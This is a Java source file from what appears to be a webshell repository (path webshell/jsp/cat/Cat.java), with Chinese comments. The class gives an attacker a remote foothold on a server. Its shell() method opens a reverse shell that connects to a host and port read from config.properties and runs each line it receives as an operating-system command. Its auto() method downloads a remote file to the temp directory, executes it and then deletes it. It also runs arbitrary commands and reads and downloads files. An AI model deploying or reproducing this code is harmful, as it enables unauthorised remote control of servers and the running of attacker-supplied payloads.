webshell/jsp/cat/Cat.java

190 lines
4.8 KiB
Java
Raw Normal View History

2014-11-06 01:41:51 +00:00
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.URL;
import java.net.UnknownHostException;
import java.util.Properties;
import java.util.regex.Pattern;
public class Cat {
static String encoding = "UTF-8";
static{
encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding;
}
/**
* 获取配置文件
* @return
* @throws IOException
*/
public static Properties getProperties() throws IOException {
Properties p = new Properties();
p.load(Cat.class.getClass().getResourceAsStream("/config.properties"));
return p;
}
/**
* 异常转换成字符串获取详细异常信息
* @param e
* @return
*/
public static String exceptionToString(Exception e) {
StringWriter sw = new StringWriter();
e.printStackTrace(new PrintWriter(sw, true));
return sw.toString();
}
/**
* 获取系统文件编码
* @return
*/
public static String getSystemEncoding(){
return System.getProperty("sun.jnu.encoding");
}
/**
* 非空判断
*
* @param obj
* @return
*/
public static boolean isNotEmpty(Object obj) {
if (obj == null) {
return false;
}
return !"".equals(String.valueOf(obj).trim());
}
/**
* 输入流转二进制数组输出流
* @param in
* @return
* @throws IOException
*/
public static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = 0;
while((a = in.read(b))!=-1){
baos.write(b,0,a);
}
return baos;
}
/**
* 复制流到文件如果文件存在默认会覆盖
* @param in
* @param path
* @throws IOException
*/
public static void copyInputStreamToFile(InputStream in,String path) throws IOException{
FileOutputStream fos = new FileOutputStream(path);
fos.write(inutStreamToOutputStream(in).toByteArray());
fos.flush();
fos.close();
}
/**
* 模仿Linux下的cat Windows下的type 查看文件内容
* @param path
* @return
* @throws IOException
*/
public static String cat(String path) throws IOException {
return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray());
}
/**
* 执行操作系统命令 如果是windows某些命令执行不了可以用 cmd /c dir 执行dir命令
* @param cmd
* @return
*/
public static String exec(String cmd) {
try {
return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding);
} catch (IOException e) {
return exceptionToString(e);
}
}
/**
* 下载文件到指定目录,保存的文件名必须指定
* @param url
* @param path
* @throws MalformedURLException
* @throws IOException
*/
public static void download(String url,String path) throws MalformedURLException, IOException{
copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path);
}
/**
* 连接远程端口提供本地命令执行入口
* @param host
* @param port
* @throws UnknownHostException
* @throws IOException
*/
public static void shell(String host,int port) throws UnknownHostException, IOException{
Socket s = new Socket(host,port);
OutputStream out = s.getOutputStream();
InputStream in = s.getInputStream();
out.write(("User:\t"+exec("whoami")).getBytes());
int a = 0;
byte[] b = new byte[4096];
while((a=in.read(b))!=-1){
out.write(exec(new String(b,0,a,"UTF-8").trim()).getBytes("UTF-8"));
}
}
/**
* 下载远程文件并执行命令执行完成后会删除下载的文件
* @param url
* @param fileName
* @param cmd
* @return
* @throws MalformedURLException
* @throws IOException
*/
public static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{
String tmpDir = System.getProperty("java.io.tmpdir");
File tmpFile = new File(tmpDir,fileName);
download(url, tmpFile.toString());
String out = exec(cmd.replaceAll(Pattern.quote("${tmpdir}"),tmpDir+File.separator));
tmpFile.delete();
return out;
}
public static Method getMethod(String method){
Method[] methods = Cat.class.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
Method m = methods[i];
if(method.equals(m.getName())){
return m;
}
}
return null;
}
public static void main(String[] args) {
try {
Properties p = getProperties();
shell(p.getProperty("host"), Integer.parseInt(p.getProperty("port")));
} catch (Exception e) {
e.printStackTrace();
}
}
}